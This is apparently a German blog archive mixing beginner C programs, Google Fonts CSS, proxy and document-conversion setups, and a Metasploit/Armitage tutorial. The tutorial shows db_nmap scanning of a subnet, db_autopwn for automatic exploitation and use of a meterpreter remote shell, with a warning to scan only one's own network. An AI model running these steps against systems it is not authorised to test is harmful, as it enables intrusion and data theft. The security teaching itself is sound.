   printf("\n\t4: %s\t\t%5.2f", FESTPLATTEN_NAME, FESTPLATTEN_PREIS);
   printf("\n\t5: %s\t\t%5.2f", GRAFIKKARTEN_NAME, GRAFIKKARTEN_PREIS);
   printf("\n\t0: Abbruch");
   printf("\n\n\n\tAuswahl: ");
   return 0;
}

/*
============================================================================
Funktion printMenuEinzel() - Ausgabe vom Einzel-Menue
============================================================================
*/
int printMenuGehaeuse(void) 
/*
Rückgabewert:    0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
   printf("\n\tG E H A E U S E K O M P O N E N T E N");
   printf("\n\t=====================================");
   printf("\n\n\t1: %s\t %5.2f", LX100_NAME, LX100_PREIS);
   printf("\n\t2: %s\t %5.2f", LX120_NAME, LX120_PREIS);
   printf("\n\t3: %s\t%5.2f", LX34A_NAME, LX34A_PREIS);
   printf("\n\t0: Abbruch");
   printf("\n\n\n\tAuswahl: ");
   return 0;
}

Google – Neue Schriftarten für deine Webseite

“Alle aktuellen Browser können Schriftarten per CSS vom Server holen, um die auf dem Rechner vorinstallierte Auswahl von Fonts zu ergänzen und Webdesignern typografische Handlungsfreiheit zu ermöglichen. In der Praxis scheitern diese Webfonts bisher aber oft am technischen Aufwand, an Lizenzfragen und an unterschiedlichen Implementierungen in den Browsern. Die auf der Google-Entwicklerkonferenz Google I/O vorgestellten Google Font API und Google Font Directory könnten dieser Technik endlich zum Durchbruch verhelfen und das Aussehen von Webseiten nachhaltig verändern.” – heise.de


Google Font Directory
Google Font Directory


Google Web Schriftarten sind mit folgenden Browsern kompatibel:

  • Google Chrome: 4.249.4+
  • Mozilla Firefox: 3.5+
  • Apple Safari: 3.1+
  • Microsoft IE: 6+


1.) Und -> hier <- gibt es ein kleines HowTo von Google, welches zeigt, dass man als erstes folgendes (ggf. Rennie Beanie gegen eine andere Schriftart austauchen) im HTML-Quellcode einfügen muss…



href='http://fonts.googleapis.com/css?family=Reenie+Beanie' rel='stylesheet' type='text/css'>


… du kannst diese Fonts/Schriftarten und auch die nachfolgenden Modifizierungen (CSS) mit WordPress auch über ein Plugin (WP Google Fonts) einstellen.


2.) Als nächstes können wir die Schriftart noch per CSS modifizieren …

.PostHeader a:link
{
font-family: 'Reenie Beanie', Arial, Sans-Serif;
font-size: 32px;
text-decoration: none;
text-align: left;
color: #265273;
}


3.) … und dies z.B. folgendermaßen als Überschrift für WordPress in der Datei (single.php) verwenden. Wie das Ergebnis am Ende aussieht, kannst du hier im Blog sehen. ;-)


<span><h1><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><?php the_title(); ?></a></h1></span>


4.) Wer will kann auch erst eine normale Schrift anzeigen lassen und dann die Google-Fonts per JavaScript laden lassen… -> hier <- gibt es diesbezüglich weitere Infos.


<html>
 <head>
 <script type="text/javascript">
 WebFontConfig = {
 google: { families: [ 'Tangerine', 'Cantarell' ] }
 };
 (function() {
 var wf = document.createElement('script');
 wf.src = ('https:' == document.location.protocol ? 'https' : 'http') +
 '://ajax.googleapis.com/ajax/libs/webfont/1/webfont.js';
 wf.type = 'text/javascript';
 wf.async = 'true';
 var s = document.getElementsByTagName('script')[0];
 s.parentNode.insertBefore(wf, s);
 })();
 </script>
 <style type="text/css">
 .wf-loading p {
 font-family: serif
 }
 .wf-inactive p {
 font-family: serif
 }
 .wf-active p {
 font-family: 'Tangerine', serif
 }
 .wf-loading p {
 font-family: serif;
 font-size: 16px
 }
 .wf-inactive h1 {
 font-family: serif;
 font-size: 16px
 }
 .wf-active h1 {
 font-family: 'Cantarell', serif;
 font-size: 16px
 }
 </style>
 </head>
 <body>
 <h1>This is using Cantarell</h1>
 <p>This is using Tangerine!</p>
 </body>
</html>

Metasploit – Sicherheitsanalyse im Netzwerk


Metasploit
Metasploit


“Das Metasploit-Projekt ist ein freies Open-Source-Projekt zur Computersicherheit, das Informationen über Sicherheitslücken bietet und bei Penetrationstests sowie der Entwicklung von IDS-Signaturen eingesetzt werden kann. Das bekannteste Teilprojekt ist das Metasploit Framework, ein Werkzeug zur Entwicklung und Ausführung von Exploits gegen verteilte Zielrechner. Andere wichtige Teilprojekte sind das Shellcode-Archiv und Forschung im Bereich der IT-Sicherheit.

Wie vergleichbare kommerzielle Lösungen wie CANVAS (von Immunity) oder Core Impact (von Core Security Technology), kann Metasploit von Administratoren eingesetzt werden, um die Schwachstellen von Computersystemen zu prüfen und diese bei Bedarf zu schließen. Andererseits kann es auch missbraucht werden, um in andere Systeme einzubrechen. Während der beschriebene Einsatz durch einen Administrator in seinem eigenen Netzwerk nicht nur legitim, sondern auch legal ist, erfüllt ein Einsatz ohne ausdrückliche Erlaubnis bei Fremdsystemen Tatbestände der Computerkriminalität.” – Wiki


[stextbox id=”alert” caption=”Achtung”]Ausdrücklich möchte ich noch einmal darauf hinweisen, dass man dieses Programm nur zur Analyse des eigenen Netzwerkes nutzen darf![/stextbox]


hackingprocess
hackingprocess


Als erstes müssen wir einige Dinge nachinstallieren um “unser eigenes” Netzwerk bzw. die Rechner in diesem auf Exploits zu prüfen und spätestens jetzt bemerkt man, dass ein Patch-Day im Monat ggf. nicht ausreicht, sobald man auf eine globale Exploit-Datenbank zurückgreifen kann ;-) …

aptitude install ruby postgres libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby  libreadline-ruby libiconv-ruby libgtk2-ruby libglade2-ruby rubygems libpq-dev libreadline-dev libssl-dev libpq5 ruby-dev
sudo gem install pg


Optional: falls du später Probleme hast, dich mir postgres-SQL zu verbinden
vim /etc/postgresql/8.3/main/postgresql.conf
#ssl = true
sudo /etc/init.d/postgresql restart


… und müssen eine Datenbank-User / Datenbank anlegen.
sudo -s
su postgres
createuser msf_user -P
Enter password for new role: *******
Enter it again: *******
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
createdb --owner=msf_user msf_database


Optional: weitere Infos zu Postgres + Metasploit


Optional: ggf. nach einer neuen Version schauen…


32-Bit:
wget http://www.metasploit.com/releases/framework-3.5.1-linux-i686.run
64-Bit:
wget http://www.metasploit.com/releases/framework-3.5.1-linux-x86_64.run


sudo sh ./framework-3.5.1*
sudo rm -rf /opt/metasploit3/msf3/
sudo svn checkout https://www.metasploit.com/svn/framework3/trunk /opt/metasploit3/msf3/


Optional: für zukünftige Updates
sudo svn update /opt/metasploit3/msf3/


Nun noch schnell das einen Link anlegen …
sudo ln -sf /opt/metasploit3/msf3/msf* /usr/local/bin/


… und verhindern, dass PostgreSQL immer automatisch startet.
update-rc.d -f postgresql remove


Optional: ggf. falls der PC in der Zwischenzeit neu-gestartet wurde, starten wir nun PostgreSQL…


sudo /etc/init.d/postgresql start
… führen eben noch ein Update von Metasploit durch und startet diese anschließend …
sudo msfupdate
sudo msfconsole
*abwarten, kann einen Augenblick dauern*


metasploit
metasploit


msf > db_driver postgresql
msf > db_connect msf_user:[password]@127.0.0.1:5432/msf_database
msf > db_workspace -a meinProjekt
msf > db_nmap 192.168.50.0/24
msf > db_hosts
msf > db_services
msf > db_autopwn -t -p -e
msf > session -i 1
meterpreter >
Wir befinden uns nun in einer Shell auf dem Remote-PC und können verschiedene Befehle ausführen z.B.:
ipconfig
execute
shell
download
upload 
… genauer will ich auf die Shell auch nicht eingehen, denn weitere Infos findet man z.B. hier:


fastandeasyhacking
fastandeasyhacking


Wenn man gerne nun noch eine hübsche grafische Oberfläche hätte, kann man sich diese GUI installieren oder “msfgui” ausprobieren. :-) Um die neue Metasploit-GUI zu nutzen müssen wir jedoch als erstes Java installieren…
sudo add-apt-repository "deb http://archive.canonical.com/ lucid partner"
sudo apt-get update
sudo apt-get install sun-java6-jdk
Ggf. noch einmal nach einer neue Version auf der Webseite schauen – www.fastandeasyhacking.com
Optional: ggf. falls der PC in der Zwischenzeit neu-gestartet wurde, starten wir nun PostgreSQL…
sudo /etc/init.d/postgresql start
sudo msfconsole
*abwarten, kann einen Augenblick dauern*
msf > load xmlrpc
… nun steht in der Konsole ein Passwort (+User), welches gleich in der GUI eingegeben werden muss, also neue Konsole öffnen und anschließend die neue GUI herunterladen.
cd ~/Desktop/
wget http://www.fastandeasyhacking.com/download/armitage122210.tgz
tar xzvf armitage122210.tgz
cd armitage/
./armitage.sh
Nachdem die Software gestartet wurde, müssen wir noch schnell das soeben beschriebene Passwort (+User) und noch den Befehl zum Verbinden mit der Datenbank eintragen …
… anschließend können wir das Netzwerk scannen und ggf. Sicherheitslücken entdecken …


Armitage_start
Armitage_start


Menü:
Hosts -> Clear Hosts
Hosts -> Nmap Scan -> Quick Scan (OS detect)
Services
Services


Auswahl
Auswahl


… genauer will ich auf die GUI auch nicht eingehen, denn weitere Infos findet man z.B. hier:

C-Programm – Palindrom

Dieses Programm teilt einen String in Wörter auf (strtok), anschließend wird jeweils geprüft ob diese von vorn und von hinten gelesen gleich bleiben und somit Palindrome sind.

#include <stdio.h>
#include <string.h>
#define LENGTH 150

// Testdatensatz:  "Ha/n/nah", "La-ger-regal", "O%t/to", "(Reit-)tier", "Reliefpfeiler", "Ren--tner", "R!o!t)or", "st--ets", "nein", "Hall67o" und "Lastwa$gen"

// Funktion: lengthOfString - die laenge von dem gegebenen String herausfinden
int lengthOfString(char wort[]) {
	int i = 0;
// solang das Ende (\0) nicht erreicht ist, wird der Wert i um 1 erhöht 
	while (wort[i] != '\0') {
        i++;
    }
    return i;
}

// Funktion: isPalindrom - prueft, ob der angegebe String ein Palindrom (lal, otto, lagerregal ...) ist
int isPalindrom(char wort[]) {
    int i;
    int length = lengthOfString(wort);

	for (i=0; wort[i] != '\0'; i++) {
	// for (i = 0; i <= (length-1); i++) { // Alternativ, solange keine Zeichen aus der Zeichenkette entfernt werden :-)
// vergleiche ersten und letzten, zweiten und vorletzten ... 
        if (wort[i] != wort[((length-1)-i)]) {
			return 0;
        }
    }
    return 1;
}

// Funktion: toLower - aus GROß wird klein -> ASCII-Tabelle anschauen ;-)
// Alternative-Funktion: tolower + ctype.h
int toLower(char wort[]) {
	int i;

	for (i=0; wort[i] != '\0'; i++) {
		if (wort[i] <= 90 && wort[i] >= 65) {
			wort[i] = wort[i]+32;
		}
	}
}

// Funktion: cleanString - entfernt '"' und ',' 
int cleanString(char wort[]) {
	int i,j;

	for (i=0, j=0; wort[i] != '\0'; i++) {
			if (wort[i] != 34 && wort[i] != 44) {
				wort[j++] = wort[i];
			}
		}
	wort[j]='\0';
}

// Funktion: removeNonLetters - entfernt Sonderzeichen aus einem String
int removeNonLetters(char wort[]) {
	int i,j;
	int alphabet_small_num = 97;
	int alphabet_big_num = 65;

	for (i=0, j=0; wort[i] != '\0'; i++) {
		while (alphabet_small_num <= 122) {
			if (wort[i] == alphabet_small_num) {
				wort[j++] = wort[i];
			}
			alphabet_small_num++;
		}
		while (alphabet_big_num <= 90) {
			if (wort[i] == alphabet_big_num) {
				wort[j++] = wort[i];
			}
			alphabet_big_num++;
		}
		alphabet_small_num = 97;
		alphabet_big_num = 65;
	}
	wort[j]='\0';
}

/*
// Alternative-Funktion: removeNonLetters + ctype.h - entfernt Sonderzeichen aus einem String
int removeNonLetters(char wort[]) {
	int i,j;

	for (i=0, j=0; wort[i] != '\0'; i++) {
		if (isalpha(wort[i])) {
			wort[j++] = wort[i];
		}
	}
	wort[j]='\0';
}
*/

// main - Hauptprogramm
int main(void) {
    char zeichenkette[LENGTH];
	char trennzeichen[] = " ";
	char *wort;

    printf("Bitte eine Zeichenkette eingeben: \n");
    fgets(zeichenkette, sizeof(zeichenkette), stdin);

	wort = strtok(zeichenkette, trennzeichen);
	while(wort != NULL) {

		cleanString(wort);

		printf("\n\nOriginal: %s\n", wort);
		if (isPalindrom(wort)) {
        	printf("Palindrom: %s\n", wort);
    	}
    	else {
        	 printf("kein Palindrom: %s\n", wort);
		}

		removeNonLetters(wort);
		printf("nach removeNonLetters: %s\n", wort);
    	if (isPalindrom(wort)) {
        	printf("Palindrom: %s\n", wort);
    	}
    	else {
        	 printf("kein Palindrom: %s \n", wort);
		}

		toLower(wort);
		printf("nach toLower: %s\n", wort);
    	if (isPalindrom(wort)) {
        	printf("Palindrom: %s \n", wort);
    	}
    	else {
    		printf("kein Palindrom: %s \n", wort);
		}
		printf("***********************************\n");

   		wort = strtok(NULL, trennzeichen); 
    }

    return 0;
}

weitere hilfreiche Tipps findest du unter: de.wikibooks.org

Ziproxy – HTTP-Traffic Kompression

Ziproxy ist ein nicht HTTP-Proxy Server, welcher Daten nicht zwischenspeichert, diese jedoch komprimiert und weiterleitet. Die meiste Bandbreite wird eingespart, indem Bilder neu-konvertiert werden und andere Daten per gzip komprimiert werden.

Ziproxy benötige keine Client-Software, solange der Browser die gzip-Daten korrekt dekomprimieren kann und auch mit JPEG 2000 Bildern umgehen kann. Der Proxy kann auf unterschiedliche Arten konfiguriert werden, ich hatte bereits vor langer Zeit über Ziproxy berichtet (Mein Proxy-Server) und da ich darauf aufmerksam gemacht wurde, dass die gezeigte Konfiguration in der neuen Version nicht mehr funktioniert, ich jedoch den gezeigten Proxy-Aufbau nicht mehr im Einsatz habe, wollte ich in diesem Blog-Post zumindest die beiden Grundkonfigurationen zeigen. (ggf. wäre ein solcher Proxy auch für Smartphones hilfreich)


1.) Ziproxy als Remote-Proxy

Als erstes die einfachste Variante, hier verbindet sich der Ziproxy über eine schnelle Verbindung (extern) mit dem HTTP-Servern und schickt die Daten über eine langsame Verbindung weiter.


Konfiguration: ziproxy.conf (mit ein paar Kommentaren)




Ziproxy-Standard
Ziproxy-Standard





2.) Ziproxy als Remote-Proxy + Local-Proxy

Die Konfiguration des Remote-Proxys unterscheidet sich im Grunde nicht von der ersten Variante, auch hier wird keine Client-Software benötigt, da ein zweiter lokaler Ziproxy sozusagen als Client fungiert, dies hat den Vorteil:

  • der Browser muss nicht “JPEG 2000” unterstützen
  • der Client (z.B. Squid) muss nicht “gzip” unterstützen
  • CPU-Last wird auf einen Server verlagert (ggf. wenn der Browser durch “JPEG 2000”-Bilder hohe CPU-Last erzeugt)

Konfiguration: Ziproxy-Client

Port = 8080
Address = "127.0.0.1"
NextProxy="81.169.188.94"
NextPort=3128
ImageQuality = {85,85,85,85}
JP2ImageQuality = {85,85,85,85}
MaxUncompressedGzipRatio = 4000
MinUncompressedGzipStreamEval = 250000
MaxSize = 2097152
Gzip = true
DecompressIncomingGzipData = true




Ziproxy_Dual
Ziproxy_Dual




Link: ziproxy.sourceforge.net

unoconv: umwandlung zwischen allen Dokument-Formaten von OpenOffice

Mit unoconv kann man viele Dokument-Formate konvertieren, unterstützte Formate sind unter anderem das  “Open Document Format” (.odt), “MS Word” (.doc), “MS Office Open/MS OOXML” (.xml), “Portable Document Format” (.pdf), “HTML”, “XHTML”, “RTF”, “Docbook” (.xml)…  

Funktionen:

  • konvertiert alle Formate die OpenOffice unterstützt
  • OpenOffice unterstützt bis zu 100 Dokument Formate :-)
  • kann genutzt werden um Vorgänge zu automatisieren (Skripte -> z.B. shell oder php)
  • unterstützt weitere Tools -> “asciidoc”, “docbook2odf/xhtml2odt”
  • kann Style-Vorlagen (templates) während der Konvertierung anwenden (corporate identity)
  • kann sowohl als Server, als auch als Client fungieren


Formate:

Es folgt eine Liste von Ausgabe-Formaten von OpenOffice (und somit auch von unoconv), die Eingabe-Formate können sich jedoch unterscheiden -> INPUT / EXPORT


Export:

  • bib – BibTeX [.bib]
  • doc – Microsoft Word 97/2000/XP [.doc]
  • doc6 – Microsoft Word 6.0 [.doc]
  • doc95 – Microsoft Word 95 [.doc]
  • docbook – DocBook [.xml]
  • html – HTML Document (OpenOffice.org Writer) [.html]
  • odt – Open Document Text [.odt]
  • ott – Open Document Text [.ott]
  • ooxml – Microsoft Office Open XML [.xml]
  • pdb – AportisDoc (Palm) [.pdb]
  • pdf – Portable Document Format [.pdf]
  • psw – Pocket Word [.psw]
  • rtf – Rich Text Format [.rtf]
  • latex – LaTeX 2e [.ltx]
  • sdw – StarWriter 5.0 [.sdw]
  • sdw4 – StarWriter 4.0 [.sdw]
  • sdw3 – StarWriter 3.0 [.sdw]
  • stw – Open Office.org 1.0 Text Document Template [.stw]
  • sxw – Open Office.org 1.0 Text Document [.sxw]
  • text – Text Encoded [.txt]
  • txt – Plain Text [.txt]
  • vor – StarWriter 5.0 Template [.vor]
  • vor4 – StarWriter 4.0 Template [.vor]
  • vor3 – StarWriter 3.0 Template [.vor]
  • xhtml – XHTML Document [.html]
  • […]


Installation:

aptitude install unoconv asciidoc docbook2od


Beispiele 1: Standard

Als erstes ein simples Beispiel, hier wird einfach “odt” in ein “pdf” umgewandelt. Sehr hilfreich ist auch sich die Optionen einmal anzuschauen.

# unoconv - Dienst starten
unoconv --listener &
# odt -> pdf 
unoconv -f pdf some-document.odt
# Standard 
(unoconv --server localhost --port 2002 --stdout -f pdf some-document.odt)

Beispiele 2: Vorlage

Wie bereits auf der Entwicklerseite zu lesen ist, hilf uns ein Screenshot nicht wirklich weiter, daher folgt ein zweites Beispiel mit Vorlagen.

# Beispiel Dateien herunterladen 
wget http://dag.wieers.com/cv/Makefile
wget http://dag.wieers.com/cv/curriculum-vitae-dag-wieers.txt
wget http://dag.wieers.com/cv/curriculum-vitae-docbook.ott

# unoconv - Dienst starten
unoconv --listener &
# resume.txt -> resume.xm
asciidoc -b docbook -d article -o resume.xml resume.txt
# resume.xml -> resume.tmp.odt
docbook2odf -f --params generate.meta=0 -o resume.tmp.odt resume.xml
# resume.tmp.odt -> resume.odt + Template
unoconv -f odt -t template.ott -o resume.odt resume.tmp.odt
# resume.tmp.odt -> resume.pdf + Template
unoconv -f pdf -t template.ott -o resume.pdf resume.odt
# resume.tmp.odt -> resume.html + Template
unoconv -f html -t template.ott -o resume.html resume.odt
# resume.tmp.odt -> resume.doc + Template
unoconv -f doc -t template.ott -o resume.doc resume.odt

Beispiele 3: Server <-> Client

Wie bereits erwähnt kann man den Dienst auch als Server starten und von anderen Rechnern darauf zugreifen.

# unoconv - Server-Dienst starten
unoconv --listener --server 1.2.3.4 --port 4567
# Client -> Server 
unoconv --server 1.2.3.4 --port 4567

Beispiele 4: PHP

Man kann dies nun auch in Shell-Skripten nutzen oder wie in diesem Beispiel in PHP einbinden.

$this->Filegenerator = new FilegeneratorComponent ($this->params["form"]['uploaddocfile']);
// if the filegenerator did all it's magic ok then process
if($this->Filegenerator)
// returns the text version of the PDF
$text = $this->Filegenerator->convertDocToTxt();
// returns the html of the PDF
$html = $this->Filegenerator->convertDocToHtml();
// returns the generated pdf file
$pdf = $this->Filegenerator->convertDocToPdf($doc_id);
}
<?php
/**
* Class Used to convert files.
*@author jamiescott.net
*/
class FilegeneratorComponent extends Object {

// input folder types
private $allowable_files = array ('application/msword' => 'doc' );
// variable set if the constuctor loaded correctly.
private $pass = false;
// store the file info from constuctor reference
private $fileinfo;

/**
* Enter description here...
*
* @param array $fileinfo
* Expected :
* (
[name] => test.doc
[type] => application/msword
[tmp_name] => /Applications/MAMP/tmp/php/php09PYNO
[error] => 0
[size] => 79360
)
*
*
* @return unknown
*/
function __construct($fileinfo) {

// folder to process all the files etc
define ( 'TMP_FOLDER', TMP . 'filegenerator/' . $this->generatefoldername () . '/' );

// where unoconv is installed
define ( 'UNOCONV_PATH', '/usr/bin/unoconv' );
// where to store pdf files
define ( 'PDFSTORE', ROOT . '/uploads/generatedpdfs/' );
// where to store doc files
define ( 'DOCSTORE', ROOT . '/uploads/docfiles/' );
// apache home dir
define ( 'APACHEHOME', '/home/apache' );
// set some shell enviroment vars
putenv ( "HOME=".APACHEHOME );
putenv ( "PWD=".APACHEHOME );

// check the file info is passed the tmp file is there and the correct file type is set
// and the tmp folder could be created
if (is_array ( $fileinfo ) &amp;amp;&amp;amp; file_exists ( $fileinfo ['tmp_name'] ) &amp;amp;&amp;amp; in_array ( $fileinfo ['type'], array_keys ( $this->allowable_files ) ) &amp;amp;&amp;amp; $this->createtmp ()) {

// bass by reference
$this->fileinfo = &amp;amp;$fileinfo;
// the constuctor ran ok
$this->pass = true;
// return true to the instantiation
return true;

} else {
// faild to instantiate
return false;

}

}

/**
*      * takes the file set in the constuctor and turns it into a pdf
* stores it in /uploads/docfiles and returns the filename
*
* @return filename if pdf was generated
*/
function convertDocToPdf($foldername=false) {

if ($this->pass) {

// generate a random name
$output_pdf_name = $this->generatefoldername () . '.pdf';

// move it to the tmp folder for processing
if (! copy ( $this->fileinfo ['tmp_name'], TMP_FOLDER . 'input.doc' ))
die ( 'Error copying the doc file' );

$command = UNOCONV_PATH;
$args = ' --server localhost --port 2002 --stdout -f pdf ' . TMP_FOLDER . 'input.doc';

$run = $command . $args;

//echo $run; die;
$pdf = shell_exec ( $run );
$end_of_line = strpos ( $pdf, "\n" );
$start_of_file = substr ( $pdf, 0, $end_of_line );

if (! eregi ( '%PDF', $start_of_file ))
die ( 'Error Generating the PDF file' );

if(!file_exists(PDFSTORE.$foldername)){
mkdir(PDFSTORE.$foldername);
}

// file saved
if(!$this->_createandsave($pdf, PDFSTORE.'/'.$foldername.'/', $output_pdf_name)){
die('Error Saving The PDF');
}

return $output_pdf_name;

}

}

/**
* Return a text version of the Doc
*
* @return unknown
*/
function convertDocToTxt() {

if ($this->pass) {

// move it to the tmp folder for processing
if (! copy ( $this->fileinfo ['tmp_name'], TMP_FOLDER . 'input.doc' ))
die ( 'Error copying the doc file' );

$command = UNOCONV_PATH;
$args = ' --server localhost --port 2002 --stdout -f txt ' . TMP_FOLDER . 'input.doc';

$run = $command . $args;

//echo $run; die;
$txt = shell_exec ( $run );

// guess that if there is less than this characters probably an error
if (strlen($txt) < 10)
die ( 'Error Generating the TXT' );

// return the txt from the PDF
return $txt;

}

}

/**
* Convert the do to heml and return the html
*
* @return unknown
*/
function convertDocToHtml() {

if ($this->pass) {

// move it to the tmp folder for processing
if (! copy ( $this->fileinfo ['tmp_name'], TMP_FOLDER . 'input.doc' ))
die ( 'Error copying the doc file' );

$command = UNOCONV_PATH;
$args = ' --server localhost --port 2002 --stdout -f html ' . TMP_FOLDER . 'input.doc';

$run = $command . $args;

//echo $run; die;
$html= shell_exec ( $run );
$end_of_line = strpos ( $html, "\n" );
$start_of_file = substr ( $html, 0, $end_of_line );

if (! eregi ( 'HTML', $start_of_file ))
die ( 'Error Generating the HTML' );

// return the txt from the PDF
return $html;

}

}
/**
* Create file and store data
*
* @param unknown_type $data
* @param unknown_type $location
* @return unknown
*/
function _createandsave($data, $location, $file) {

if (is_writable ( $location )) {

// In our example we're opening $filename in append mode.
// The file pointer is at the bottom of the file hence
// that's where $somecontent will go when we fwrite() it.
if (! $handle = fopen ( $location.$file, 'w' )) {
trigger_error("Cannot open file ($location$file)");
return false;
}

// Write $somecontent to our opened file.
if (fwrite ( $handle, $data ) === FALSE) {
trigger_error("Cannot write to file ($location$file)");
return false;
}

fclose ( $handle );
return true;

} else {
trigger_error("The file $location.$file is not writable");
return false;
}

}

function __destruct() {

// remove the tmp folder

if (file_exists ( TMP_FOLDER ) &amp;amp;&amp;amp; strlen ( TMP_FOLDER ) > 4)
$this->removetmp ();

}

/**
* Create the tmp directory to hold and process the files
*
* @return unknown
*/
function createtmp() {

if (is_writable ( TMP )) {

if (mkdir ( TMP_FOLDER ))
return true;

} else {

return false;
}

return false;

}

/**
* Delete the tmp dir
*
* @return unknown
*/
function removetmp() {

if (strlen ( TMP_FOLDER ) > 3 &amp;amp;&amp;amp; file_exists ( TMP_FOLDER )) {

if ($this->recursive_remove_directory ( TMP_FOLDER ))
return true;

}

return false;
}

/**
* Return a rendom string for the folder name
*
* @return unknown
*/
function generatefoldername() {

return md5 ( microtime () );

}

/**
* Recursivly delete directroy or empty it
*
* @param unknown_type $directory
* @param unknown_type $empty
* @return unknown
*/
function recursive_remove_directory($directory, $empty = FALSE) {
// if the path has a slash at the end we remove it here
if (substr ( $directory, - 1 ) == '/') {
$directory = substr ( $directory, 0, - 1 );
}

// if the path is not valid or is not a directory ...
if (! file_exists ( $directory ) || ! is_dir ( $directory )) {
// ... we return false and exit the function
return FALSE;

// ... if the path is not readable
} elseif (! is_readable ( $directory )) {
// ... we return false and exit the function
return FALSE;

// ... else if the path is readable
} else {

// we open the directory
$handle = opendir ( $directory );

// and scan through the items inside
while ( FALSE !== ($item = readdir ( $handle )) ) {
// if the filepointer is not the current directory
// or the parent directory
if ($item != '.' &amp;amp;&amp;amp; $item != '..') {
// we build the new path to delete
$path = $directory . '/' . $item;

// if the new path is a directory
if (is_dir ( $path )) {
// we call this function with the new path
recursive_remove_directory ( $path );

// if the new path is a file
} else {
// we remove the file
unlink ( $path );
}
}
}
// close the directory
closedir ( $handle );

// if the option to empty is not set to true
if ($empty == FALSE) {
// try to delete the now empty directory
if (! rmdir ( $directory )) {
// return false if not possible
return FALSE;
}
}
// return success
return TRUE;
}
}
}
?>

CLI Companion – die GUI in der Konsole

CLI Companion ist ein Terminal mit integrierter GUI oder sollte ich besser sagen ein GUI mit integriertem Terminal? Egal. Du kannst Shell-Kommandos (mit Beschreibung) abspeichern, so dass du diese mit der Zeit lernen kannst.


Installation:

sudo add-apt-repository ppa:clicompanion-devs/clicompanion-nightlies
sudo apt-get update
sudo apt-get install clicompanion


Beispiel:

CLICompanion
CLI Companion


Quelle:
launchpad.net/clicompanion

Droopy – Datenübertragung per HTTP

Das Python-Skript Droopy wird auf dem Zielrechner ausgeführt, so dass hier ein kleiner HTTP-Server gestartet wird, der eine einfache Seite mit Uploadformular enthält. Nun muss man nur noch dessen IP-Adresse zusammen mit der Portnummer in die Adresszeile des Browsers eingeben und kann Dateien verschicken (egal ob Windows, Mac, Linux …). Einzige Voraussetzung auf dem Zielrechner ist Python!


Download: droopy

wget http://stackp.online.fr/wp-content/uploads/droopy
mkdir uploads


Usage: droopy [options] [PORT]

Options:
  -h, --help                            show this help message and exit
  -m MESSAGE, --message=MESSAGE         set the message
  -p PICTURE, --picture=PICTURE         set the picture
  -d DIRECTORY, --directory=DIRECTORY   set the directory to upload files to
  --save-config                         save options in a configuration file
  --delete-config                       delete the configuration file and exit


Beispiel: droopy

python2 droopy -d uploads -m "Hi, schick mir doch mal ein paar Dateien... :-)" -p ~/Bilder/gemma-atkinson-108-06.jpg


droopy-Beispiel
droopy-Beispiel

C-Programm – Matrix-Addition

Mit diesen kleinen Programmen kann man Matrix-Addition durchführen, indem die Werte der Matrizen jeweils zusammengerechnet werden. In dem zweiten Programm habe ich mit Funktionen und Pointeren gearbeitet.

/*
 ============================================================================
 Name        : matrix-addition_1.c
 Author      : Voku
 Version     : 1.0
 Description : Matrix-Addition
 ============================================================================
 */

#include <stdio.h>
#define MAX_ZEILEN 10
#define MAX_SPALTEN 10

int main (void) {
	int index_zeile, zeile, index_spalte, spalte;
	double array_a[MAX_ZEILEN][MAX_SPALTEN], array_b[MAX_ZEILEN][MAX_SPALTEN], array_c[MAX_ZEILEN][MAX_SPALTEN];

	// Anzahl der Zeilen einlesen
	do {
		printf("Anzahl der Zeilen (1-%i): ",MAX_ZEILEN);
		scanf("%i",&zeile);
		if (zeile > MAX_ZEILEN ) {
			printf("\n zu viel Zeilen...\n\n");
		} else if (zeile < 1) {
			printf("\n zu wenig Zeilen...\n\n");
		}
	} while (zeile > MAX_ZEILEN || zeile < 1);
	printf("\n");
	// Anzahl der Spalten einlesen
	do {
		printf("Anzahl der Spalten (1-%i): ",MAX_SPALTEN);
		scanf("%i",&spalte);
		if (spalte > MAX_SPALTEN ) {
			printf("\n zu viel Spalten...\n\n");
		} else if (zeile < 1) {
			printf("\n zu wenig Spalten...\n\n");
		}
	} while (spalte > MAX_SPALTEN || spalte < 1);
	printf("\n");

	// Werte fuer Matrize 1 einlesen
	for (index_zeile=0; index_zeile < zeile; index_zeile++) {
		for ( index_spalte=0; index_spalte < spalte; index_spalte++) {
  			printf("Wert fuer Zeile %i und Spalte %i (Matrize 1) eingeben: ",index_zeile+1, index_spalte+1);
        		scanf("%lf",&array_a[index_zeile][index_spalte]);
    		}
    	}
	printf("\n");
    	// Werte fuer Matrize 2 einlesen
    	for (index_zeile=0; index_zeile < zeile; index_zeile++) {
    		for ( index_spalte=0; index_spalte < spalte; index_spalte++) {
    			printf("Wert fuer Zeile %i und Spalte %i (Matrize 2) eingeben: ",index_zeile+1, index_spalte+1);
        		scanf("%lf",&array_b[index_zeile][index_spalte]);
    		}
    	}

	// Array A und B addieren und in Array C schreiben
	for (index_zeile=0; index_zeile < zeile; index_zeile++) {
    		for ( index_spalte=0; index_spalte < spalte; index_spalte++) {
        		array_c[index_zeile][index_spalte]=array_a[index_zeile][index_spalte]+array_b[index_zeile][index_spalte];
    		}
	}

	// Ausgabe
	for (index_zeile=0; index_zeile < zeile; index_zeile++) {
		printf("\n (");
    		for ( index_spalte=0; index_spalte < spalte; index_spalte++) {
        		printf(" %.2lf", array_a[index_zeile][index_spalte]);
        	}
		printf(" ) ");
	}
	printf("\n\n +\n");
	for (index_zeile=0; index_zeile < zeile; index_zeile++) {
		printf("\n (");
    		for ( index_spalte=0; index_spalte < spalte; index_spalte++) {
			printf(" %.2lf", array_b[index_zeile][index_spalte]);
		}
		printf(" ) ");
	}
	printf("\n\n =\n");
	for (index_zeile=0; index_zeile < zeile; index_zeile++) {
		printf("\n (");
    		for ( index_spalte=0; index_spalte < spalte; index_spalte++) {
			printf(" %.2lf", array_c[index_zeile][index_spalte]);
    		}
		printf(" ) ");
	}

	return 0;
}
/*
 ============================================================================
 Name        : matrix-addition_2.c
 Author      : Voku
 Version     : 1.0
 Description : Matrix-Addition mit Funktionen (+Pointer)
 ============================================================================
 */

#include <stdio.h>
#define MAX_ZEILEN 10
#define MAX_SPALTEN 10

void matrix_addition (double *array_a, double *array_b, double *array_c, int zeile, int spalte) {
